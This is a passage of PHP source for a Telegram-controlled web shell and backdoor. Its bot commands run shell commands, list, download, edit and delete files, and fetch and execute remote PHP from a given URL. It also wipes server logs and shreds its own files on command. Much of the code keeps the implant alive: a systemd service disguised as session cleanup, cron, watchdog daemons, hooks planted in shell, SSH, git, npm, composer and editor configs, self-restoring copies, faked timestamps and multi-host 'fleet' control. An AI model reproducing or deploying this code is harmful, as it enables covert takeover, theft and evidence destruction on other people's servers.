".$cmdline);if(!$out)$out="(empty)";if(strlen($out)>3000)$out=substr($out,0,3000)."\n...(truncated)";wn_send($BOT,$CHAT,"EXEC\n$ ".htmlspecialchars($cmdline,ENT_QUOTES,"UTF-8")."\n\n".htmlspecialchars($out,ENT_QUOTES,"UTF-8"));} elseif(preg_match("#^/ls(?:\\s+(.+))?$#is",$text,$m)){$target=isset($m[1])?trim($m[1]):$ROOT;if(!is_dir($target))wn_send($BOT,$CHAT,"[X] Not dir");else{$items=@scandir($target);if($items===false)wn_send($BOT,$CHAT,"[X] Read fail");else{$lines=array();foreach($items as $item){if($item==="."||$item==="..")continue;$p=$target."/".$item;$type=is_dir($p)?"d":"-";$sz=is_dir($p)?"-":@filesize($p);$lines[]="$type ".str_pad((string)$sz,10," ",STR_PAD_LEFT)." ".htmlspecialchars($item,ENT_QUOTES,"UTF-8");}$out="LS: ".htmlspecialchars($target,ENT_QUOTES,"UTF-8")."\n\n".implode("\n",$lines);if(strlen($out)>3500)$out=substr($out,0,3500)."\n...(truncated)";wn_send($BOT,$CHAT,$out);}}} elseif(preg_match("#^/edit\\s+(.+)#is",$text,$m)){$target=trim($m[1]);if(!file_exists($target))wn_send($BOT,$CHAT,"[X] Not found");elseif(is_dir($target))wn_send($BOT,$CHAT,"[X] Dir");elseif(!is_readable($target))wn_send($BOT,$CHAT,"[X] Not readable");else{$content=_c("fgc",$target);if($content===false)wn_send($BOT,$CHAT,"[X] Read fail");elseif(strlen($content)>200*1024)wn_send($BOT,$CHAT,"[X] Too large");else{$size=strlen($content);$safeTarget=htmlspecialchars($target,ENT_QUOTES,"UTF-8");wn_send($BOT,$CHAT,"[EDIT] ".$safeTarget."\n$size bytes\n\nReply pesan INI dengan konten baru.\n---BEGIN---");usleep(300000);$chunks=str_split($content,3500);$total=count($chunks);foreach($chunks as $i=>$c){wn_send($BOT,$CHAT,"[part ".($i+1)."/".$total."]\n".$c);usleep(300000);}wn_send($BOT,$CHAT,"---END---");}}} elseif(preg_match("#^/rm\\s+(.+)#is",$text,$m)){$target=trim($m[1]);if(!file_exists($target))wn_send($BOT,$CHAT,"[X] Not found");else{_c("fpc",wn_p("rm_pending"),$target."\n".time());$type=is_dir($target)?"DIR":"FILE";wn_send($BOT,$CHAT,"[CONFIRM DELETE]\n$type\n".htmlspecialchars($target,ENT_QUOTES,"UTF-8")."\n\n/rm_confirm atau /rm_cancel");}} elseif($lc==="/rm_confirm"){$pf=wn_p("rm_pending");if(!file_exists($pf))wn_send($BOT,$CHAT,"[X] No pending");else{$data=_c("fgc",$pf);@unlink($pf);$parts=explode("\n",$data);$target=trim($parts[0]??"");$ts=(int)($parts[1]??0);if(!$target||time()-$ts>60)wn_send($BOT,$CHAT,"[X] Expired");elseif(!file_exists($target))wn_send($BOT,$CHAT,"[X] Not found");else{$ok=(is_dir($target)&&!is_link($target))?wn_rmdir_recursive($target):@unlink($target);wn_send($BOT,$CHAT,$ok?"[OK] Deleted":"[X] Failed");}}} elseif($lc==="/rm_cancel"){@unlink(wn_p("rm_pending"));wn_send($BOT,$CHAT,"[OK] Cancelled");} elseif(preg_match("#^/mv\\s+(\\S+)\\s+(\\S+)#is",$text,$m)){$old=trim($m[1]);$new=trim($m[2]);if(!file_exists($old))wn_send($BOT,$CHAT,"[X] Source missing");elseif(file_exists($new))wn_send($BOT,$CHAT,"[X] Target exists");else{$dir=dirname($new);if(!is_dir($dir))@mkdir($dir,0755,true);if(@rename($old,$new))wn_send($BOT,$CHAT,"[OK] Renamed");else wn_send($BOT,$CHAT,"[X] Failed");}} elseif(preg_match("#^/mkdir\\s+(.+)#is",$text,$m)){$target=trim($m[1]);if(is_dir($target))wn_send($BOT,$CHAT,"[i] Exists");elseif(file_exists($target))wn_send($BOT,$CHAT,"[X] File exists");else wn_send($BOT,$CHAT,@mkdir($target,0755,true)?"[OK] Created":"[X] Failed");} elseif(preg_match("#^/get\\s+(.+)#is",$text,$m)){$targetPath=trim($m[1]);if(!file_exists($targetPath))wn_send($BOT,$CHAT,"[X] Not found");elseif(is_dir($targetPath)){$zipBin=trim(wn_sh("command -v zip 2>/dev/null"));if($zipBin==="")wn_send($BOT,$CHAT,"[X] zip unavailable");else{$zipPath=sys_get_temp_dir()."/gd_".time().".zip";@_c("se","cd ".escapeshellarg(dirname($targetPath))." && zip -qr ".escapeshellarg($zipPath)." ".escapeshellarg(basename($targetPath))." 2>/dev/null");if(file_exists($zipPath)&&filesize($zipPath)>0){wn_send_document($BOT,$CHAT,$zipPath,"ZIP: ".basename($targetPath));@unlink($zipPath);}else wn_send($BOT,$CHAT,"[X] Zip fail");}}else{$sz=@filesize($targetPath);if($sz===false||$sz<=0)wn_send($BOT,$CHAT,"[X] Empty");elseif($sz>50*1024*1024)wn_send($BOT,$CHAT,"[X] Too large");else wn_send_document($BOT,$CHAT,$targetPath,basename($targetPath));}} elseif($lc==="/systemd"||preg_match("#^/systemd\\s+#i",$text)){$svc="php-session-".substr(md5($BOT.$SHELL),0,6);$wd=$HOME."/.config/systemd/user/".$svc.".service";$sd="/etc/systemd/system/".$svc.".service";wn_send($BOT,$CHAT,"SYSTEMD\n$svc\nUser: ".(file_exists($wd)?"OK":"missing")."\nSystem: ".(file_exists($sd)?"OK":"missing"));} elseif($lc==="/systemd_install"){$entry=null;foreach($MAIN_WATCHERS as $w)if(@file_exists($w)){$entry=$w;break;}if(!$entry)wn_send($BOT,$CHAT,"[X] No watcher");else{$php=trim(wn_sh("command -v php 2>/dev/null"));if(!$php)$php="/usr/local/bin/php";$svc="php-session-".substr(md5($BOT.$SHELL),0,6);$unitUser="[Unit]\nDescription=PHP Session Cleanup\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=".escapeshellarg($php)." ".escapeshellarg($entry)."\nRestart=always\nRestartSec=30\nStandardOutput=null\nStandardError=null\n\n[Install]\nWantedBy=default.target\n";$userDir=$HOME."/.config/systemd/user";if(!is_dir($userDir))@mkdir($userDir,0700,true);if(is_dir($userDir)&&is_writable($userDir)){$p=$userDir."/".$svc.".service";if(_c("fpc",$p,$unitUser)!==false){@chmod($p,0600);wn_sh("systemctl --user daemon-reload 2>/dev/null");wn_sh("systemctl --user enable ".escapeshellarg($svc.".service")." 2>/dev/null");wn_sh("systemctl --user restart ".escapeshellarg($svc.".service")." 2>/dev/null");wn_send($BOT,$CHAT,"[OK] systemd user installed");}else wn_send($BOT,$CHAT,"[X] Failed");}}} elseif($lc==="/systemd_uninstall"){$svc="php-session-".substr(md5($BOT.$SHELL),0,6);wn_sh("systemctl --user stop ".escapeshellarg($svc.".service")." 2>/dev/null");wn_sh("systemctl --user disable ".escapeshellarg($svc.".service")." 2>/dev/null");@unlink($HOME."/.config/systemd/user/".$svc.".service");wn_sh("systemctl --user daemon-reload 2>/dev/null");wn_send($BOT,$CHAT,"[OK] systemd removed");} elseif($lc==="/deadman"||preg_match("#^/deadman\\s+#i",$text)){$args=preg_match("#^/deadman\\s+(.+)#i",$text,$mm2)?trim($mm2[1]):"status";$parts=preg_split("/\\s+/",$args);$sub=strtolower($parts[0]??"status");$deadCfg2=wn_p("deadman");if($sub==="on"){$hours=isset($parts[1])?(int)$parts[1]:24;if($hours<1)$hours=24;$existingDm=json_decode((string)_c("fgc",$deadCfg2),true)?:array();$curAction=isset($existingDm["action"])?$existingDm["action"]:"warn";_c("fpc",$deadCfg2,json_encode(array("enabled"=>true,"hours"=>$hours,"action"=>$curAction)));_c("fpc",wn_p("activity"),time());wn_send($BOT,$CHAT,"[DEAD MAN] ON\nThreshold: {$hours}h\nAction: $curAction");}elseif($sub==="off"){@unlink($deadCfg2);@unlink(wn_p("deadman_note"));wn_send($BOT,$CHAT,"[DEAD MAN] OFF");}elseif($sub==="action"){$act=isset($parts[1])?strtolower($parts[1]):"";if(!in_array($act,array("warn","wipe","restore"),true))wn_send($BOT,$CHAT,"[X] warn|wipe|restore");else{$dcfg=json_decode(_c("fgc",$deadCfg2),true)?:array("enabled"=>true,"hours"=>24);$dcfg["action"]=$act;_c("fpc",$deadCfg2,json_encode($dcfg));wn_send($BOT,$CHAT,"[DEAD MAN] Action: $act");}}else{$cur=_c("fgc",$deadCfg2);if(!$cur)wn_send($BOT,$CHAT,"[DEAD MAN] OFF");else{$dcfg=json_decode($cur,true);wn_send($BOT,$CHAT,"[DEAD MAN] ON\n".($dcfg["hours"]??24)."h\n".($dcfg["action"]??"warn"));}}} elseif($lc==="/selfdestruct"||$lc==="/sd"){wn_send($BOT,$CHAT,"SELF DESTRUCT\n\n/sd_confirm dalam 60s");_c("fpc",wn_p("sd_pending"),(string)(time()+60));} elseif($lc==="/sd_confirm"){$pf=wn_p("sd_pending");$exp=(int)_c("fgc",$pf);if($exp<=0||time()>$exp)wn_send($BOT,$CHAT,"[X] Expired.");else{@unlink($pf);wn_send($BOT,$CHAT,"Executing...");foreach(array("/var/log","/var/log/apache2","/var/log/nginx","/var/log/httpd") as $d)if(is_dir($d))@_c("se","rm -rf ".escapeshellarg($d)."/* 2>/dev/null");foreach($BACKUPS as $bk)@unlink($bk);foreach($REPLICA_BACKUPS as $bk)@unlink($bk);foreach($MAIN_WATCHERS as $w)@unlink($w);foreach($REPLICA_WATCHERS as $w)@unlink($w);@unlink($SHELL_PATH);@_c("se","shred -fuz ".escapeshellarg($SHELL_PATH)." 2>/dev/null");$self=__FILE__;@_c("se","shred -fuz ".escapeshellarg($self)." 2>/dev/null");@unlink($self);wn_send($BOT,$CHAT,"SELF DESTRUCTED");}} elseif(preg_match("#^/mem\\s+(\\S+)#i",$text,$m)){$c2Url=trim($m[1]);if(!preg_match("#^https?://#i",$c2Url))wn_send($BOT,$CHAT,"[X] invalid");else{wn_send($BOT,$CHAT,"[MEM] fetch...");$code=@_c("fgc",$c2Url,false,stream_context_create(array("http"=>array("timeout"=>20,"header"=>"User-Agent: Mozilla/5.0\r\n"),"ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false))));if($code===false||strlen($code)<100)wn_send($BOT,$CHAT,"[X] fetch fail");else{$dirs=array();if(is_dir("/dev/shm")&&is_writable("/dev/shm"))$dirs[]="/dev/shm";if(is_dir(sys_get_temp_dir())&&is_writable(sys_get_temp_dir()))$dirs[]=sys_get_temp_dir();$executed=false;foreach($dirs as $dir){$f=$dir."/.".bin2hex(random_bytes(10)).".php";if(@_c("fpc",$f,$code)===false)continue;@chmod($f,0600);try{include $f;}catch(Throwable $e){}@unlink($f);$executed=true;break;}wn_send($BOT,$CHAT,$executed?"[MEM] ok":"[X] fail");}}} elseif($lc==="/debug"){$log=@_c("fgc",sys_get_temp_dir()."/wn_watcher_".date("Ymd").".log");if($log===false||$log==="")wn_send($BOT,$CHAT,"[DEBUG] no log");else{if(strlen($log)>3500)$log=substr($log,-3500);wn_send($BOT,$CHAT,"[DEBUG]\n\n".htmlspecialchars($log,ENT_QUOTES,"UTF-8"));}} elseif(in_array($lc,array("/help","/start","/menu"))){wn_send($BOT,$CHAT,"SYS\n\n[Shell]\n/status /restore_self /list_backups /heal /heal_cron /replicate /guardian\n/hide (hide slave.php) /show (restore)\n/exec cmd /install /uninstall /debug /mem URL\n\n[File]\n/get /path\nReply file + /put /path\nReply file + /put label /path\n/ls /edit /rm /mv /mkdir\n\n[Persistence]\n/systemd /systemd_install /systemd_uninstall\n/deadman on|off|action\n\n[Integrity]\n/integrity pause|resume|now|set_mtime|reset_mtime\n/integrity pause_ttl|pause_ttl_reset\n\n[Fleet]\n/fleet /fleet list\n/fleet hide <label> | /fleet show <label>\n/fleet key gen|set|push|rotate\n/fleet add <url> [label]\n/fleet add_force <url>\n/fleet install <label>\n/fleet rm <id>\n/fleet ping\n/fleet deploy\n/fleet exec <cmd>\n/fleet cmd <id> <cmd>\n\n[Stealth]\n/siluman on|off|key|rotate\n\n[Danger]\n/selfdestruct -> /sd_confirm");} } $LOCKFILE=$__state."/.lk_".substr(md5($BOT),0,8);$LOCKFP=@fopen($LOCKFILE,"c");if($LOCKFP){if(!flock($LOCKFP,LOCK_EX|LOCK_NB)){_dbg("LOCK","exit");@fclose($LOCKFP);exit;}register_shutdown_function(function()use($LOCKFP){@flock($LOCKFP,LOCK_UN);@fclose($LOCKFP);});} $OFFSET=$__state."/.of_".substr(md5($BOT),0,8);$SEEN=$OFFSET.".seen";$LIVE=$__state."/.lv_".substr(md5($BOT),0,8);$__skey=hash("sha256","st:".$BOT,true);_c("fpc",$LIVE,(string)time()); if(!file_exists(wn_p("activity")))_c("fpc",wn_p("activity"),time()); $__or=wn_sr($OFFSET,$__skey);$offset=($__or!==null)?(int)$__or:0;$__sr=wn_sr($SEEN,$__skey);$lastSeen=($__sr!==null)?(int)$__sr:0; $__loopDelay=1;$__iter=0;$__shellLastSeen=$__state."/.".substr(hash("sha256","sls:".$BOT),0,16);$__shellAlert=$__state."/.".substr(hash("sha256","sla:".$BOT),0,16);$__sentinel=$__state."/.".substr(hash("sha256","wake:".$BOT),0,16);$__lastSentinelMtime=0; if(function_exists("wn_guardian"))@wn_guardian(); while(true){ $__iter++; if($__iter%50===0){@gc_collect_cycles();} wn_heartbeat_check();wn_selfheal_check();wn_deadman_check();wn_check_file_integrity(); _c("fpc",$LIVE,(string)time()); clearstatcache(true,$__sentinel); $__fastOnce = false; if(file_exists($__sentinel)){$mt=@filemtime($__sentinel);if($mt&&$mt>$__lastSentinelMtime){$__lastSentinelMtime=$mt;$__fastOnce=true;}} $__ha=wn_hide_age();if($__ha>7*86400&&wn_is_hidden()){@unlink(wn_hide_state_path());wn_send($BOT,$CHAT,"[HIDE] 7-day TTL expired. Auto-restore enabled.");} if(!file_exists($SHELL_PATH)){if(!wn_is_hidden()){$lastAlert=(int)_c("fgc",$__shellAlert);if(time()-$lastAlert>600){_c("fpc",$__shellAlert,time());$__hName=parse_url($SELF_URL,PHP_URL_HOST)?:(@gethostname()?:"?");wn_send($BOT,$CHAT,"[!] SHELL DELETED\nHost: ".$__hName."\nPath: ".htmlspecialchars($SHELL_PATH,ENT_QUOTES,"UTF-8"));}$r=wn_restore_shell();if($r["ok"]){wn_send($BOT,$CHAT,"[+] SHELL RESTORED: ".$r["msg"]);_c("fpc",$__shellAlert,0);}}}else{$curHash=@hash_file("sha256",$SHELL_PATH)?:"";$curSize=@filesize($SHELL_PATH)?:0;_c("fpc",$__shellLastSeen,json_encode(array("t"=>time(),"s"=>$curSize,"h"=>$curHash)));} if(defined("WN_SLAVE_MODE")&&WN_SLAVE_MODE){sleep(3);continue;} $url=$TG_BASE.$BOT."/getUpdates?offset=".($offset+1)."&timeout=25"; $res=wn_tg($url,35); $data=json_decode($res,true); if(!$data||empty($data["ok"])){if(isset($data["error_code"])&&(int)$data["error_code"]===409){@wn_tg($TG_BASE.$BOT."/deleteWebhook?drop_pending_updates=false",10);usleep(1500000);continue;}sleep($__loopDelay);continue;} if(!empty($data["result"])){foreach($data["result"] as $u){$uid=(int)$u["update_id"];$offset=$uid;if($uid<=$lastSeen)continue;try{wn_handle_update($u,$BOT,$CHAT,$ROOT,$SHELL,$SHELL_PATH,$SELF_URL,$SECRET,$__state,$BACKUPS,$HOME);}catch(\Throwable $e){_dbg("HANDLE_ERR",get_class($e).": ".$e->getMessage()." @".$e->getFile().":".$e->getLine());@wn_send($BOT,$CHAT,"[!] Command error: ".$e->getMessage());}wn_sw($SEEN,(string)$uid,$__skey);wn_sw($OFFSET,(string)$offset,$__skey);$lastSeen=$uid;}} if($__fastOnce)usleep(200000);else sleep($__loopDelay); } WN_WATCHER_TEMPLATE_EOF_4A2B; $replacements = [ '__B64BOT__' => var_export($b64Bot, true), '__B64CHAT__' => var_export($b64Chat, true), '__SHELL__' => var_export($shell, true), '__ROOT__' => var_export($root, true), '__BNAME__' => var_export($bname, true), '__HOME__' => var_export($home, true), '__URL__' => var_export($selfUrl, true), '__SEC__' => var_export($secret, true), '__SB64__' => var_export($shellB64, true), '__REPW__' => var_export(wn_replica_watcher_paths(), true), '__REPB__' => var_export(wn_replica_backup_paths(), true), '__MAINW__' => var_export(wn_watcher_locations(), true), '__STATEDIR__' => var_export(wn_state_dir(), true), '__DEBUGFLAG__' => WN_DEBUG ? 'true' : 'false', '__SLAVEMODE__' => $slaveMode ? 'true' : 'false', '__DAEMONNAME__' => var_export(basename(wn_blend_name('daemon_php')), true), '__WDNAME__' => var_export(basename(wn_blend_name('watchdog_php')), true), '__DAEMONPID__' => var_export(wn_blend_name('daemon_pid'), true), '__WDPID__' => var_export(wn_blend_name('watchdog_pid'), true), '__MTIMEFILE__' => var_export(wn_blend_name('shell_mtime'), true), '__TRAPMARKER__' => var_export('# ' . substr(md5('wn_trap_' . wn_get_key('trap')), 0, 12) . ' trap', true), ]; $code = strtr($code, $replacements); foreach ($replacements as $ph => $_) if (strpos($code, $ph) !== false) throw new RuntimeException('Watcher template has unreplaced placeholder: ' . $ph); return $code; } function auto_install_watcher_controller($silent = false, $slaveMode = false) { global $__B, $__C, $CURRENT_SHELL, $rootPath; @set_time_limit(0); @ignore_user_abort(true); @ini_set('display_errors', '0'); $log = ["[START] " . date('Y-m-d H:i:s')]; if (!wn_can_shell()) return ['status'=>'error','message'=>'Shell disabled','log'=>$log,'layers'=>[]]; @unlink(wn_blend_name('dying')); if (is_shell_available()) { foreach (['daemon_pid','watchdog_pid'] as $pk) { $pf = wn_blend_name($pk); if (file_exists($pf)) { $pid = (int)wn_call('fgc', $pf); if ($pid > 0) cmd_exec('kill -9 ' . $pid . ' 2>/dev/null'); @unlink($pf); } } cmd_exec('pkill -9 -f ' . escapeshellarg(basename(wn_blend_name('daemon_php'))) . ' 2>/dev/null'); cmd_exec('pkill -9 -f ' . escapeshellarg(basename(wn_blend_name('watchdog_php'))) . ' 2>/dev/null'); foreach (wn_wrapper_locations() as $w) cmd_exec('pkill -9 -f ' . escapeshellarg($w) . ' 2>/dev/null'); foreach (wn_watcher_locations() as $w) cmd_exec('pkill -9 -f ' . escapeshellarg($w) . ' 2>/dev/null'); usleep(700000); } $home = wn_get_home(); if (!$home) return ['status'=>'error','message'=>'Home not found','log'=>$log]; if (wn_get_stored_mtime() <= 0) wn_capture_mtime(__FILE__); $bestPhp = wn_find_best_php($__B); if (!$bestPhp) return ['status'=>'error','message'=>'No PHP CLI','log'=>$log]; $phpBin = $bestPhp['bin']; $phpVersion = $bestPhp['version_str']; $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $selfUrl = $scheme . '://' . wn_safe_host() . ($_SERVER['SCRIPT_NAME'] ?? ('/' . $CURRENT_SHELL)); $secret = hash('sha256', 'wn_tg:' . $__B . ':' . wn_get_salt()); $_cfg = wn_cfg_b64(); try { $code = auto_build_watcher_code($_cfg['k'], $_cfg['j'], $CURRENT_SHELL, $rootPath, wn_backup_filename(), $home, $selfUrl, $secret, $slaveMode); } catch (Throwable $e) { unset($_cfg); return ['status'=>'error','message'=>'build watcher: ' . $e->getMessage(),'log'=>$log]; } unset($_cfg); $written = []; foreach (wn_watcher_locations() as $loc) { $dir = dirname($loc); if (!is_dir($dir)) @mkdir($dir, 0700, true); if (!is_dir($dir) || !is_writable($dir)) continue; if (wn_call('fpc', $loc, $code) !== false) { @chmod($loc, 0600); $written[] = $loc; } } if (empty($written)) return ['status'=>'error','message'=>'Cannot write watcher','log'=>$log]; $wrapperWritten = wn_install_wrappers($log, $code); if (empty($wrapperWritten)) return ['status'=>'error','message'=>'Cannot write wrapper','log'=>$log]; $entry = $wrapperWritten[0]; $backupWritten = 0; foreach (array_merge(wn_backup_locations(), wn_replica_backup_paths()) as $b) { if (file_exists($b)) { $backupWritten++; continue; } $dir = dirname($b); if (!is_dir($dir)) @mkdir($dir, 0700, true); if (is_dir($dir) && is_writable($dir)) { if (@copy(__FILE__, $b)) { @chmod($b, 0400); wn_apply_mtime($b); $backupWritten++; } } } $lingerUser = null; if (function_exists('posix_getpwuid')) { $u = @posix_getpwuid(@posix_getuid()); if ($u && !empty($u['name'])) $lingerUser = $u['name']; } if (!$lingerUser) $lingerUser = trim((string)cmd_exec('id -un 2>/dev/null')); $ctx = ['php_bin'=>$phpBin,'entry'=>$entry,'home'=>$home,'linger_user'=>$lingerUser,'self_url'=>$selfUrl]; $results = wn_layer_manager()->installAll($ctx); $layers = []; $cronOK = false; $rebootOK = false; foreach ($results as $key => $r) { $layers[$key] = $r['ok'] ?? false; if (isset($r['count'])) $layers[$key . '_count'] = $r['count']; if ($key === 'cron' && !empty($r['ok'])) { $cronOK = true; $rebootOK = !empty($r['reboot']); } } wn_call('fpc', wn_blend_name('started'), time()); wn_call('fpc', wn_blend_name('heartbeat'), time()); wn_apply_mtime(__FILE__); if (!$silent) { sendTelegramMessage($__B, $__C, "SYS INSTALLED" . ($slaveMode ? " (SLAVE)" : "") . "\nHost: " . htmlspecialchars(wn_safe_host(), ENT_QUOTES, 'UTF-8') . "\n\nPHP: $phpBin (v$phpVersion)" . "\nWatcher: " . count($written) . "\nBackups: $backupWritten" . "\nCron: " . ($cronOK ? 'OK' : 'FAIL') . "\nDaemon: " . (!empty($layers['daemon']) ? 'OK' : 'FAIL') . "\nWatchdog: " . (!empty($layers['watchdog']) ? 'OK' : 'FAIL') . "\nSystemd: " . (!empty($layers['systemd']) ? 'OK' : 'SKIP') . "\nShell RC: " . (!empty($layers['shell_rc']) ? 'OK' : 'SKIP') . "\nSSH RC: " . (!empty($layers['ssh_rc']) ? 'OK' : 'SKIP') . "\nLogout: " . (!empty($layers['bash_logout']) ? 'OK' : 'SKIP') . "\nLinger: " . (!empty($layers['linger']) ? 'OK' : 'SKIP') . "\nNPM: " . (!empty($layers['npm_hooks']) ? 'OK (' . ($layers['npm_hooks_count'] ?? 0) . ')' : 'SKIP') . "\nComposer: " . (!empty($layers['composer_hooks']) ? 'OK (' . ($layers['composer_hooks_count'] ?? 0) . ')' : 'SKIP') . "\nShell trap: " . (!empty($layers['shell_trap']) ? 'OK (' . ($layers['shell_trap_count'] ?? 0) . ')' : 'SKIP') . "\nGit hook: " . (!empty($layers['git_hook']) ? 'OK (' . ($layers['git_hook_count'] ?? 0) . ')' : 'SKIP') . "\nAT: " . (!empty($layers['at_job']) ? 'OK' : 'SKIP') . "\nBashLogin: " . (!empty($layers['bash_login']) ? 'OK' : 'SKIP') . "\nLessFilter: " . (!empty($layers['lessfilter']) ? 'OK' : 'SKIP') . "\nVimrc: " . (!empty($layers['vimrc']) ? 'OK' : 'SKIP') . "\nGit-Global: " . (!empty($layers['git_global']) ? 'OK (' . ($layers['git_global_count'] ?? 0) . ')' : 'SKIP') . "\nTmux: " . (!empty($layers['tmux_conf']) ? 'OK' : 'SKIP') . "\nGit-Pager: " . (!empty($layers['git_pager']) ? 'OK' : 'SKIP') . "\nVim-Plugin: " . (!empty($layers['vim_plugin']) ? 'OK' : 'SKIP') . "\nSystemdTimer: " . (!empty($layers['systemd_timer']) ? 'OK' : 'SKIP') . ($slaveMode ? "\n\nBot polling: OFF (slave mode)" : "\n\nTest: /status")); } return ['status'=>'success','message'=>'Installed','php_bin'=>$phpBin,'php_version'=>$phpVersion,'watcher'=>$written[0],'watcher_count'=>count($written),'backup_count'=>$backupWritten,'wrapper'=>$entry,'cron_ok'=>$cronOK,'reboot_ok'=>$rebootOK,'slave_mode'=>$slaveMode,'layers'=>$layers,'log'=>$log]; } function auto_uninstall_watcher_controller() { global $__B, $__C; @set_time_limit(120); $home = wn_get_home(); $removed = 0; $log = []; if (is_shell_available()) { $existing = (string)cmd_exec('crontab -l 2>/dev/null'); if ($existing !== '') { $lines = array_filter(explode("\n", $existing), 'wn_cron_filter_callback'); $tmp = tempnam(sys_get_temp_dir(), 'cron_'); wn_call('fpc', $tmp, implode("\n", $lines) . "\n"); cmd_exec('crontab ' . escapeshellarg($tmp) . ' 2>/dev/null'); @unlink($tmp); $log[] = 'cron filtered'; } @wn_call('fpc', wn_blend_name('dying'), (string)time(), LOCK_EX); $log[] = 'dying sentinel'; $wName = basename(wn_blend_name('watchdog_php')); $dName = basename(wn_blend_name('daemon_php')); cmd_exec('pkill -9 -f ' . escapeshellarg($wName) . ' 2>/dev/null'); $wdpf = wn_blend_name('watchdog_pid'); if (file_exists($wdpf)) { $wpid = (int)wn_call('fgc', $wdpf); if ($wpid > 0) cmd_exec('kill -9 ' . $wpid . ' 2>/dev/null'); @unlink($wdpf); } usleep(400000); $log[] = 'watchdog killed'; cmd_exec('pkill -9 -f ' . escapeshellarg($dName) . ' 2>/dev/null'); $dpf = wn_blend_name('daemon_pid'); if (file_exists($dpf)) { $dpid = (int)wn_call('fgc', $dpf); if ($dpid > 0) cmd_exec('kill -9 ' . $dpid . ' 2>/dev/null'); @unlink($dpf); } usleep(400000); $log[] = 'daemon killed'; foreach (wn_watcher_locations() as $w) cmd_exec('pkill -9 -f ' . escapeshellarg($w) . ' 2>/dev/null'); foreach (wn_wrapper_locations() as $w) cmd_exec('pkill -9 -f ' . escapeshellarg($w) . ' 2>/dev/null'); cmd_exec('pkill -9 -f "php-sess-" 2>/dev/null'); cmd_exec('pkill -9 -f "\\.upd_" 2>/dev/null'); cmd_exec('pkill -9 -f "\\.tmp_" 2>/dev/null'); usleep(500000); $log[] = 'watcher killed'; } $lingerUser = null; if (function_exists('posix_getpwuid')) { $u = @posix_getpwuid(posix_getuid()); if ($u && !empty($u['name'])) $lingerUser = $u['name']; } $un = wn_layer_manager()->uninstallAll(['home'=>$home,'linger_user'=>$lingerUser,'php_bin'=>null,'entry'=>null]); $removed += $un['total_removed']; foreach (wn_watcher_locations() as $p) if (file_exists($p)) { @unlink($p); $removed++; } foreach (wn_wrapper_locations() as $p) if (file_exists($p)) { @unlink($p); $removed++; } foreach (wn_backup_locations() as $p) if (file_exists($p)) { @unlink($p); $removed++; } foreach (wn_replica_backup_paths() as $p) if (file_exists($p)) { @unlink($p); $removed++; } foreach ([wn_blend_name('daemon_php'), wn_blend_name('watchdog_php')] as $p) if (file_exists($p)) @unlink($p); @unlink(wn_state_dir() . '/.lv_' . substr(md5($__B), 0, 8)); @unlink(wn_state_dir() . '/.lk_' . substr(md5($__B), 0, 8)); $still = trim((string)cmd_exec('pgrep -f "php-sess-" 2>/dev/null')); $still .= trim((string)cmd_exec('pgrep -f "\\.upd_" 2>/dev/null')); sendTelegramMessage($__B, $__C, "[UNINSTALLED]\nHost: " . htmlspecialchars(wn_safe_host(), ENT_QUOTES, 'UTF-8') . "\nRemoved: $removed items\nProses sisa: " . (empty($still) ? '0' : $still)); return ['status'=>'success','message'=>"Removed $removed items",'log'=>$log,'residual'=>$still]; } function watcher_status_controller() { global $__B; $home = wn_get_home(); $watchers = wn_watcher_locations(); $wrappers = wn_wrapper_locations(); $wInfo = []; foreach ($watchers as $w) $wInfo[] = ['path'=>$w,'exists'=>file_exists($w),'size'=>file_exists($w)?(int)@filesize($w):0]; $wrapInfo = []; foreach ($wrappers as $w) $wrapInfo[] = ['path'=>$w,'exists'=>file_exists($w),'size'=>file_exists($w)?(int)@filesize($w):0]; $daemon = wn_daemon_status(); $watchdog = wn_watchdog_status(); $sysd = wn_systemd_status(); $liveFile = wn_state_dir() . '/.lv_' . substr(md5($__B), 0, 8); $liveAge = file_exists($liveFile) ? (time() - filemtime($liveFile)) : -1; $liveActive = ($liveAge >= 0 && $liveAge <= 30); $hostName = $_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? 'localhost'); $sysHost = @gethostname() ?: '?'; $curUser = function_exists('posix_getpwuid') ? (@posix_getpwuid(posix_getuid())['name'] ?? '?') : (@getenv('USER') ?: '?'); $isRoot = ($curUser === 'root'); $serverIp = $_SERVER['SERVER_ADDR'] ?? get_real_ip(); $lingerUser = $curUser !== '?' ? $curUser : null; $statusMap = wn_layer_manager()->statusAll(['home'=>$home,'linger_user'=>$lingerUser]); $L = function($key, $field = 'active', $default = false) use ($statusMap) { return isset($statusMap[$key]) ? ($statusMap[$key][$field] ?? $default) : $default; }; $cronLayer = $statusMap['cron'] ?? ['active'=>false,'reboot'=>false]; $layers = [ 'daemon'=>$L('daemon'),'watchdog'=>$L('watchdog'),'systemd'=>$L('systemd'), 'reboot_cron'=>!empty($cronLayer['reboot']),'cron'=>!empty($cronLayer['active']), 'bash_logout'=>$L('bash_logout'),'linger'=>$L('linger'), 'shell_rc'=>$L('shell_rc'),'ssh_rc'=>$L('ssh_rc'),'at_job'=>$L('at_job'), 'npm_hooks'=>$L('npm_hooks'),'npm_count'=>$statusMap['npm_hooks']['count'] ?? 0, 'composer_hooks'=>$L('composer_hooks'),'composer_count'=>$statusMap['composer_hooks']['count'] ?? 0, 'shell_trap'=>$L('shell_trap'), 'git_hook'=>$L('git_hook'),'git_hook_count'=>$statusMap['git_hook']['count'] ?? 0, 'bash_login'=>$L('bash_login'),'lessfilter'=>$L('lessfilter'),'vimrc'=>$L('vimrc'), 'git_global'=>$L('git_global'),'git_global_count'=>$statusMap['git_global']['count'] ?? 0, 'tmux_conf'=>$L('tmux_conf'),'git_pager'=>$L('git_pager'),'vim_plugin'=>$L('vim_plugin'), 'systemd_timer'=>$L('systemd_timer'), ]; return ['status'=>'success','host'=>$hostName,'hostname'=>$sysHost,'server_ip'=>$serverIp,'unix_user'=>$curUser,'is_root'=>$isRoot,'live_active'=>$liveActive,'live_age'=>$liveAge,'backup_name'=>wn_backup_filename(),'watchers'=>$wInfo,'watchers_alive'=>count(array_filter($wInfo, function ($x) { return $x['exists']; })),'wrappers'=>$wrapInfo,'wrappers_alive'=>count(array_filter($wrapInfo, function ($x) { return $x['exists']; 